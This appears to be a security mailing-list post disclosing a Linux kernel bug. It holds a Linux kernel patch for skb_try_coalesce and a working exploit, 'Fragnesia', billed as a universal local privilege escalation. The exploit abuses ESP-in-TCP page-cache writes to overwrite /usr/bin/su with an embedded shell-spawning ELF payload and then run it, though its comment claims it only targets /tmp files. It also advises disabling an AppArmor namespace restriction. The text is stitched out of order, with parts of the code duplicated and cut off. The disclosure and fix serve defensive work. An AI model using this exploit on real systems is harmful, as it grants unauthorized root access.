(nlh->nlmsg_type != NLMSG_ERROR) continue; err = (struct nlmsgerr *)NLMSG_DATA(nlh); if (err->error == 0) return 0; errno = -err->error; return -1; } errno = EPROTO; return -1; } static void add_xfrm_espintcp_state(void) { char reqbuf[4096], resp[4096]; char aeadbuf[sizeof(struct xfrm_algo_aead) + sizeof(xfrm_aead_key)]; struct sockaddr_nl sa = { .nl_family = AF_NETLINK, }; struct xfrm_usersa_info *xs; struct xfrm_algo_aead *aead; struct xfrm_encap_tmpl encap; struct nlmsghdr *nlh; ssize_t ret; int fd; memset(reqbuf, 0, sizeof(reqbuf)); nlh = (struct nlmsghdr *)reqbuf; nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*xs)); nlh->nlmsg_type = XFRM_MSG_NEWSA; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL; nlh->nlmsg_seq = 1; xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh); if (inet_pton(AF_INET6, "::1", &xs->saddr.in6) != 1) die("inet_pton saddr"); if (inet_pton(AF_INET6, "::1", &xs->id.daddr.in6) != 1) die("inet_pton daddr"); xs->id.spi = htonl(0x100); xs->id.proto = IPPROTO_ESP; xs->family = AF_INET6; xs->mode = XFRM_MODE_TRANSPORT; xs->reqid = 1; xs->lft.soft_byte_limit = XFRM_INF; xs->lft.hard_byte_limit = XFRM_INF; xs->lft.soft_packet_limit = XFRM_INF; xs->lft.hard_packet_limit = XFRM_INF; memset(aeadbuf, 0, sizeof(aeadbuf)); aead = (struct xfrm_algo_aead *)aeadbuf; snprintf(aead->alg_name, sizeof(aead->alg_name), "rfc4106(gcm(aes))"); aead->alg_key_len = sizeof(xfrm_aead_key) * 8; aead->alg_icv_len = 128; memcpy(aead->alg_key, xfrm_aead_key, sizeof(xfrm_aead_key)); add_nlattr(nlh, sizeof(reqbuf), XFRMA_ALG_AEAD, aeadbuf, sizeof(aeadbuf)); memset(&encap, 0, sizeof(encap)); encap.encap_type = TCP_ENCAP_ESPINTCP; encap.encap_sport = htons(TCP_PORT); encap.encap_dport = htons(TCP_PORT); add_nlattr(nlh, sizeof(reqbuf), XFRMA_ENCAP, &encap, sizeof(encap)); fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_XFRM); if (fd nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)); if (ret nlmsg_len) { errno = EIO; gate_fail("short sendto XFRM_MSG_NEWSA"); } ret = recv(fd, resp, sizeof(resp), 0); if (ret UINT64_MAX - byte_off) { fprintf(stderr, "byte range overflows uint64_t\n"); exit(2); } return byte_off + n - 1; } static void draw_smash_frame(const unsigned char *desired, size_t desired_len, const unsigned char *live, size_t idx_current, size_t changed, size_t skipped, int first_draw) { size_t done = changed + skipped; size_t filled = desired_len ? done * FRAME_BAR_W / desired_len : FRAME_BAR_W; size_t row, col, bi, i; /* Save cursor, jump to row 1, buffer the whole frame into one write. */ static char frame_buf[8192]; setvbuf(stdout, frame_buf, _IOFBF, sizeof(frame_buf)); if (!first_draw) printf("\033[s\033[?25l\033[1;1H"); /* ── header ─────────────────────────────────────────────────── */ printf("\r\033[2K" C_BCYN "[*]" C_RESET " smashing %zu bytes into read-only page cache" " changed=" C_BGRN "%zu" C_RESET " skipped=" C_DIM "%zu" C_RESET " remaining=" C_BYLW "%zu" C_RESET "\n", desired_len, changed, skipped, done = desired_len) { printf(" "); continue; } if (bi = file_size) { fprintf(stderr, "byte range outside target: offset=%llu len=%zu size=%llu\n", (unsigned long long)byte_off, desired_len, (unsigned long long)file_size); return 2; } if (last > file_size - FRAG_LEN) { fprintf(stderr, "collateral-after mode requires requested range end FRAME_LINES) tr = (int)ws.ws_row; printf("\033[%d;%dr", FRAME_LINES + 1, tr); printf("\033[%d;1H", tr); /* park cursor at bottom of scroll region */ fflush(stdout); } for (idx = 0; idx " C_BGRN "%02x" C_RESET " xor=" C_CYAN "%02x" C_RESET " seq=" C_DIM "%u" C_RESET " nonce=" C_DIM "%u" C_RESET "\n", idx + 1, desired_len, (unsigned long long)off, current, desired[idx], need_stream, active_esp_seq, stream0_nonce[need_stream]); /* printf(C_BCYN "[*]" C_RESET " before:\n"); print_hex_row(target_file, off, "orig", current, "want", desired[idx]); printf(C_BCYN "[*]" C_RESET " iv=" C_CYAN); { size_t k; for (k = 0; k %02x index=%zu offset=+%04llx\n\n" C_RESET, current, final, idx, (unsigned long long)off); changed++; continue; } if (final == current) { printf(C_BGRN "[-]" C_RESET " fixed behavior: byte unchanged at index=%zu offset=%llu\n", idx, (unsigned long long)off); return 0; } printf(C_BRED "[-]" C_RESET " BUG: byte changed but desired-value check mismatched" " index=%zu offset=%llu desired=%02x got=%02x\n", idx, (unsigned long long)off, desired[idx], final); return 1; } /* final frame: all bytes done, cursor past the end */ draw_smash_frame(desired, desired_len, live_state, desired_len, changed, skipped, 0); /* restore full scroll region and drop cursor below the frame */ printf("\033[r\033[%d;1H\n", FRAME_LINES + 1); /* final verify pass */ printf(C_BCYN "[*]" C_RESET " verifying %zu bytes...\n", desired_len); for (idx = 0; idx \n", prog); fprintf(stderr, "example: %s /path/to/target 0 42434445\n", prog); } static const uint8_t shell_elf[PAYLOAD_LEN] = { 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a, 0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12, 0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6, 0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00, 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, }; int main(int argc, char **argv) { unsigned char *desired; uint64_t file_size, byte_off; size_t desired_len, sample_len; int ret; setvbuf(stdout, NULL, _IONBF, 0); printf(C_BCYN "[*]" C_RESET " uid=" C_BWHT "%d" C_RESET " euid=" C_BWHT "%d" C_RESET " gid=" C_BWHT "%d" C_RESET " egid=" C_BWHT "%d" C_RESET "\n", getuid(), geteuid(), getgid(), getegid()); printf(C_BCYN "[*]" C_RESET " mode=xfrm_espintcp_pagecache_replace collateral=after\n"); printf("\n"); // system("cp /bin/cat /tmp/test"); // file_size = use_existing_target("/tmp/test"); file_size = use_existing_target("/usr/bin/su"); byte_off = 0; desired = (unsigned char *)shell_elf; desired_len = PAYLOAD_LEN; printf(C_BCYN "[*]" C_RESET " target=%s size=%llu\n", target_file, (unsigned long long)file_size); verify_write_denied("outer"); setup_user_netns_xfrm(); verify_write_denied("userns_root_mapped_to_outer_user"); ret = replace_existing_bytes_after(byte_off, desired, desired_len, file_size); /* reset scroll region; some terminals the cursor on \033[r so * explicitly jump to the last row so PS1 lands below our output */ write(STDOUT_FILENO, "\033[r\033[9999;1H\033[?25h\n", 19); execve("/usr/bin/su", NULL, NULL); return ret; } Attachment : 0001-net-skbuff-preserve-shared-frag-marker-during-coales.patch (type=text/x-patch) From d260900c5c5cd8f858be0c3cc172df9b6fd11cec Mon Sep 17 00:00:00 2001 From: William Bowling Date: Wed, 13 May 2026 04:16:35 +0000 Subject: [PATCH] net: skbuff: preserve shared-frag marker during coalescing skb_try_coalesce() can attach paged frags from @from to @to. If @from has SKBFL_SHARED_FRAG set, the resulting @to skb can contain the same externally-owned or page-cache-backed frags, but the shared-frag marker is currently lost. That breaks the invariant relied on by later in-place writers. In particular, ESP input checks skb_has_shared_frag() before deciding whether an uncloned nonlinear skb can skip skb_cow_data(). If TCP receive coalescing has moved shared frags into an unmarked skb, ESP can see skb_has_shared_frag() as false and decrypt in place over page-cache backed frags. Propagate SKBFL_SHARED_FRAG when skb_try_coalesce() transfers paged frags. The tailroom copy path does not need the marker because it copies bytes into @to's linear data rather than transferring frag descriptors. Fixes: cef401de7be8 ("net: fix possible wrong checksum generation") Fixes: f4c50a4034e6 ("xfrm: esp: avoid in-place decrypt on shared skb frags") Signed-off-by: William Bowling Reviewed-by: Eric Dumazet --- net/core/skbuff.c | 2 ++ 1 file changed, 2 insertions(+) diff --git a/net/core/skbuff.c b/net/core/skbuff.c index 7dad68e3b518..9c4e8d331d6d 100644 --- a/net/core/skbuff.c +++ b/net/core/skbuff.c @@ -6200,6 +6200,8 @@ bool skb_try_coalesce(struct sk_buff *to, struct sk_buff *from, from_shinfo->frags, from_shinfo->nr_frags * sizeof(skb_frag_t)); to_shinfo->nr_frags += from_shinfo->nr_frags; + if (from_shinfo->nr_frags) + to_shinfo->flags |= from_shinfo->flags & SKBFL_SHARED_FRAG; if (!skb_cloned(from)) from_shinfo->nr_frags = 0; -- 2.54.0 Attachment : None (type=text/plain) thanks, sam Attachment : signature.asc (type=application/pgp-signature) -----BEGIN PGP SIGNATURE----- iQEBBAEWCgCpFiEEJaa7iN2bdkxrVUHCc4QJ9SDfkZAFAmoEWZkbFIAAAAAABAAO bWFudTIsMi41KzEuMTIsMiwyXxSAAAAAAC4AKGlzc3Vlci1mcHJAbm90YXRpb25z Lm9wZW5wZ3AuZmlmdGhob3JzZW1hbi5uZXQyNUE2QkI4OEREOUI3NjRDNkI1NTQx QzI3Mzg0MDlGNTIwREY5MTkwDxxzYW1AZ2VudG9vLm9yZwAKCRBzhAn1IN+RkKym AQC3WuwT5M1E7SM78a1p/SgUXGRq8uccVQn2X73D7r+YiwD/eAPbB8AaMLi4IuMX eEsXiZqSEf+ul2zQm0Bab0PbmQg= =ku/7 -----END PGP SIGNATURE-----

Attachment : fragnesia.c (type=text/plain) // Fragnesia: universal Linux LPE // Ubuntu users: AppArmor interferes with using namespaces, you need to use // `sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=0`. // // You can chain other bugs to bypass this requirement but this is out of scope for this vulnerability. // // Found with V12 by William Bowling on the V12 team // V12 - - dangerously powerful agentic security // Patch: /* * Slim ESP-in-TCP/TCP-coalesce page-cache replacement PoC. * * It only targets an already prepared disposable regular file under /tmp or * /var/tmp. The file must be readable by the caller and should be non-writable * to demonstrate the permission boundary. * * Build: * gcc -O2 -Wall -Wextra -static xfrm_espintcp_pagecache_replace.c -o xfrm_espintcp_pagecache_replace * * Run: * ./xfrm_espintcp_pagecache_replace /tmp/root-owned-copy 0 42434445 * * Exit codes: * 1: vulnerable behavior verified * 0: fixed/no mutation observed * 2: local setup or argument error * 4: namespace/XFRM gate closed */ #define _GNU_SOURCE #include #include #include #include #if __has_include( ) #include #else #include struct sockaddr_alg { __u16 salg_family; __u8 salg_type[14]; __u32 salg_feat; __u32 salg_mask; __u8 salg_name[64]; }; #endif #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifndef TCP_ULP #define TCP_ULP 31 #endif #ifndef NETLINK_XFRM #define NETLINK_XFRM 6 #endif #ifndef TCP_ENCAP_ESPINTCP #define TCP_ENCAP_ESPINTCP 7 #endif #ifndef AF_ALG #define AF_ALG 38 #endif #ifndef SOL_ALG #define SOL_ALG 279 #endif #ifndef ALG_SET_KEY #define ALG_SET_KEY 1 #endif #ifndef ALG_SET_OP #define ALG_SET_OP 3 #endif #ifndef ALG_OP_ENCRYPT #define ALG_OP_ENCRYPT 1 #endif #ifndef NLA_ALIGNTO #define NLA_ALIGNTO 4 #endif #ifndef NLA_ALIGN #define NLA_ALIGN(len) (((len) + NLA_ALIGNTO - 1) & ~(NLA_ALIGNTO - 1)) #endif #ifndef NLA_HDRLEN #define NLA_HDRLEN ((int)NLA_ALIGN(sizeof(struct nlattr))) #endif #define FRAG_LEN 4096 #define ESP_GCM_ICV_LEN 16 #define ESP_GCM_ENCRYPTED_LEN (FRAG_LEN - ESP_GCM_ICV_LEN) #define TCP_PORT 5556 #define PAYLOAD_LEN 192 #define FRAME_PAYLOAD_ROWS 12 /* ceil(PAYLOAD_LEN / 16) */ #define FRAME_BAR_W 50 #define FRAME_LINES 15 /* 1 header + 12 hex + 1 bar + 1 sep */ #define RECEIVER_PRE_ULP_US 30000 #define SENDER_PRE_SPLICE_US 1000 #define RECEIVER_POST_ULP_US 30000 static const unsigned char xfrm_aead_key[20] = { 0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff, 0x01, 0x02, 0x03, 0x04 }; static unsigned char active_esp_gcm_iv[8] = { 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc }; static uint32_t active_esp_seq = 1; static const char *target_file; static char target_file_buf[PATH_MAX]; static loff_t target_splice_off; static uint16_t stream0_nonce[256]; static bool stream0_have[256]; static void die(const char *what) { fprintf(stderr, "%s: %s\n", what, strerror(errno)); exit(2); } static void gate_fail(const char *what) { printf("namespace_gate_failed: %s errno=%d (%s)\n", what, errno, strerror(errno)); exit(4); } static void store_be32(unsigned char *p, uint32_t v) { p[0] = (unsigned char)(v >> 24); p[1] = (unsigned char)(v >> 16); p[2] = (unsigned char)(v >> 8); p[3] = (unsigned char)v; } /* ANSI colours */ #define C_RESET "\033[0m" #define C_BOLD "\033[1m" #define C_DIM "\033[2m" #define C_RED "\033[31m" #define C_GREEN "\033[32m" #define C_YELLOW "\033[33m" #define C_CYAN "\033[36m" #define C_WHITE "\033[97m" #define C_BRED "\033[1;31m" #define C_BGRN "\033[1;32m" #define C_BYLW "\033[1;33m" #define C_BCYN "\033[1;36m" #define C_BWHT "\033[1;97m" static void print_hex_bytes(const char *label, const unsigned char *buf, size_t len) { size_t i; printf(C_DIM "%s=" C_RESET C_CYAN, label); for (i = 0; i col) { if (row_start + col == highlight_off) printf(C_BRED "[%02x]" C_RESET, row[col]); else printf(C_DIM "%02x " C_RESET, row[col]); } else { printf(C_DIM " " C_RESET); } } /* ASCII section */ printf(" " C_DIM "|" C_RESET); for (col = 0; col = 0x20 && c = 0x20 && c = 8 ? 1 : 0) + 1; printf("%*s" C_BYLW "^-- +%04llx " C_RED "%s" C_RESET ":" C_BRED "%02x" C_RESET " -> " C_GREEN "%s" C_RESET ":" C_BGRN "%02x" C_RESET "\n", (int)arrow_pos, "", (unsigned long long)(highlight_off & 0xffff), before_label, before_val, after_label, after_val); } static int open_afalg_aes_ecb(void) { struct sockaddr_alg sa = { .salg_family = AF_ALG, }; int fd; fd = socket(AF_ALG, SOCK_SEQPACKET | SOCK_CLOEXEC, 0); if (fd cmsg_level = SOL_ALG; cmsg->cmsg_type = ALG_SET_OP; cmsg->cmsg_len = CMSG_LEN(sizeof(op)); memcpy(CMSG_DATA(cmsg), &op, sizeof(op)); ret = sendmsg(op_fd, &msg, 0); if (ret != 16) die("sendmsg AF_ALG block"); ret = read(op_fd, out, 16); if (ret != 16) die("read AF_ALG block"); close(op_fd); } static unsigned char aes_gcm_stream0_byte(int alg_fd, const unsigned char iv[8]) { unsigned char counter_block[16], stream[16]; memcpy(counter_block, &xfrm_aead_key[16], 4); memcpy(counter_block + 4, iv, 8); store_be32(counter_block + 12, 2); afalg_aes_encrypt_block(alg_fd, counter_block, stream); return stream[0]; } static void build_stream0_table(void) { unsigned char iv[8] = { 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc }; unsigned int count = 0, nonce; int alg_fd; alg_fd = open_afalg_aes_ecb(); for (nonce = 0; nonce = '0' && c = 'a' && c = 'A' && c = 0) { fprintf(stderr, "hex byte string has an odd number of nibbles\n"); exit(2); } if (len == 0) { fprintf(stderr, "hex byte string is empty\n"); exit(2); } *len_out = len; return buf; } static unsigned char read_byte_at(const char *path, uint64_t off) { unsigned char b; ssize_t ret; int fd; fd = open(path, O_RDONLY | O_CLOEXEC); if (fd sizeof(buf)) len = sizeof(buf); fd = open(target_file, O_RDONLY | O_CLOEXEC); if (fd =%d\n", (long long)st.st_size, FRAG_LEN); exit(2); } if (snprintf(target_file_buf, sizeof(target_file_buf), "%s", path) >= (int)sizeof(target_file_buf)) { fprintf(stderr, "target path is too long\n"); exit(2); } target_file = target_file_buf; return (uint64_t)st.st_size; } static void verify_write_denied(const char *label) { int fd; errno = 0; fd = open(target_file, O_WRONLY | O_CLOEXEC); if (fd >= 0) { close(fd); printf("namespace_gate_failed: %s write-open unexpectedly succeeded\n", label); exit(4); } printf("%s_write_open_denied=1 errno=%d (%s)\n", label, errno, strerror(errno)); } static int write_all_file_status(const char *path, const char *buf) { size_t len = strlen(buf); int fd, saved_errno; fd = open(path, O_WRONLY | O_CLOEXEC); if (fd 0) { close(ready_pipe[1]); close(mapped_pipe[0]); sync_read_byte(ready_pipe[0]); snprintf(map, sizeof(map), "0 %u 1\n", outer_uid); parent_map_write_or_exit(child, "uid_map", map); parent_map_write_or_exit(child, "setgroups", "deny\n"); snprintf(map, sizeof(map), "0 %u 1\n", outer_gid); parent_map_write_or_exit(child, "gid_map", map); sync_write_byte(mapped_pipe[1]); if (waitpid(child, &status, 0) nlmsg_len); struct nlattr *nla; if (off + NLA_HDRLEN + len > maxlen) { fprintf(stderr, "netlink message too small\n"); exit(2); } nla = (struct nlattr *)((char *)nlh + off); nla->nla_type = type; nla->nla_len = NLA_HDRLEN + len; memcpy((char *)nla + NLA_HDRLEN, data, len); nlh->nlmsg_len = off + NLA_ALIGN(nla->nla_len); } static int nl_ack_errno(char *buf, ssize_t len) { struct nlmsghdr *nlh; struct nlmsgerr *err; for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, (unsigned int)len); nlh = NLMSG_NEXT(nlh, len)) { if (nlh->nlmsg_type != NLMSG_ERROR) continue; err = (struct nlmsgerr *)NLMSG_DATA(nlh); if (err->error == 0) return 0; errno = -err->error; return -1; } errno = EPROTO; return -1; } static void add_xfrm_espintcp_state(void) { char reqbuf[4096], resp[4096]; char aeadbuf[sizeof(struct xfrm_algo_aead) + sizeof(xfrm_aead_key)]; struct sockaddr_nl sa = { .nl_family = AF_NETLINK, }; struct xfrm_usersa_info *xs; struct xfrm_algo_aead *aead; struct xfrm_encap_tmpl encap; struct nlmsghdr *nlh; ssize_t ret; int fd; memset(reqbuf, 0, sizeof(reqbuf)); nlh = (struct nlmsghdr *)reqbuf; nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*xs)); nlh->nlmsg_type = XFRM_MSG_NEWSA; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL; nlh->nlmsg_seq = 1; xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh); if (inet_pton(AF_INET6, "::1", &xs->saddr.in6) != 1) die("inet_pton saddr"); if (inet_pton(AF_INET6, "::1", &xs->id.daddr.in6) != 1) die("inet_pton daddr"); xs->id.spi = htonl(0x100); xs->id.proto = IPPROTO_ESP; xs->family = AF_INET6; xs->mode = XFRM_MODE_TRANSPORT; xs->reqid = 1; xs->lft.soft_byte_limit = XFRM_INF; xs->lft.hard_byte_limit = XFRM_INF; xs->lft.soft_packet_limit = XFRM_INF; xs->lft.hard_packet_limit = XFRM_INF; memset(aeadbuf, 0, sizeof(aeadbuf)); aead = (struct xfrm_algo_aead *)aeadbuf; snprintf(aead->alg_name, sizeof(aead->alg_name), "rfc4106(gcm(aes))"); aead->alg_key_len = sizeof(xfrm_aead_key) * 8; aead->alg_icv_len = 128; memcpy(aead->alg_key, xfrm_aead_key, sizeof(xfrm_aead_key)); add_nlattr(nlh, sizeof(reqbuf), XFRMA_ALG_AEAD, aeadbuf, sizeof(aeadbuf)); memset(&encap, 0, sizeof(encap)); encap.encap_type = TCP_ENCAP_ESPINTCP; encap.encap_sport = htons(TCP_PORT); encap.encap_dport = htons(TCP_PORT); add_nlattr(nlh, sizeof(reqbuf), XFRMA_ENCAP, &encap, sizeof(encap)); fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_XFRM); if (fd nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)); if (ret nlmsg_len) { errno = EIO; gate_fail("short sendto XFRM_MSG_NEWSA"); } ret = recv(fd, resp, sizeof(resp), 0); if (ret UINT64_MAX - byte_off) { fprintf(stderr, "byte range overflows uint64_t\n"); exit(2); } return byte_off + n - 1; } static void draw_smash_frame(const unsigned char *desired, size_t desired_len, const unsigned char *live, size_t idx_current, size_t changed, size_t skipped, int first_draw) { size_t done = changed + skipped; size_t filled = desired_len ? done * FRAME_BAR_W / desired_len : FRAME_BAR_W; size_t row, col, bi, i; /* Save cursor, jump to row 1, buffer the whole frame into one write. */ static char frame_buf[8192]; setvbuf(stdout, frame_buf, _IOFBF, sizeof(frame_buf)); if (!first_draw) printf("\033[s\033[?25l\033[1;1H"); /* ── header ─────────────────────────────────────────────────── */ printf("\r\033[2K" C_BCYN "[*]" C_RESET " smashing %zu bytes into read-only page cache" " changed=" C_BGRN "%zu" C_RESET " skipped=" C_DIM "%zu" C_RESET " remaining=" C_BYLW "%zu" C_RESET "\n", desired_len, changed, skipped, done = desired_len) { printf(" "); continue; } if (bi = file_size) { fprintf(stderr, "byte range outside target: offset=%llu len=%zu size=%llu\n", (unsigned long long)byte_off, desired_len, (unsigned long long)file_size); return 2; } if (last > file_size - FRAG_LEN) { fprintf(stderr, "collateral-after mode requires requested range end FRAME_LINES) tr = (int)ws.ws_row; printf("\033[%d;%dr", FRAME_LINES + 1, tr); printf("\033[%d;1H", tr); /* park cursor at bottom of scroll region */ fflush(stdout); } for (idx = 0; idx " C_BGRN "%02x" C_RESET " xor=" C_CYAN "%02x" C_RESET " seq=" C_DIM "%u" C_RESET " nonce=" C_DIM "%u" C_RESET "\n", idx + 1, desired_len, (unsigned long long)off, current, desired[idx], need_stream, active_esp_seq, stream0_nonce[need_stream]); /* printf(C_BCYN "[*]" C_RESET " before:\n"); print_hex_row(target_file, off, "orig", current, "want", desired[idx]); printf(C_BCYN "[*]" C_RESET " iv=" C_CYAN); { size_t k; for (k = 0; k %02x index=%zu offset=+%04llx\n\n" C_RESET, current, final, idx, (unsigned long long)off); changed++; continue; } if (final == current) { printf(C_BGRN "[-]" C_RESET " fixed behavior: byte unchanged at index=%zu offset=%llu\n", idx, (unsigned long long)off); return 0; } printf(C_BRED "[-]" C_RESET " BUG: byte changed but desired-value check mi...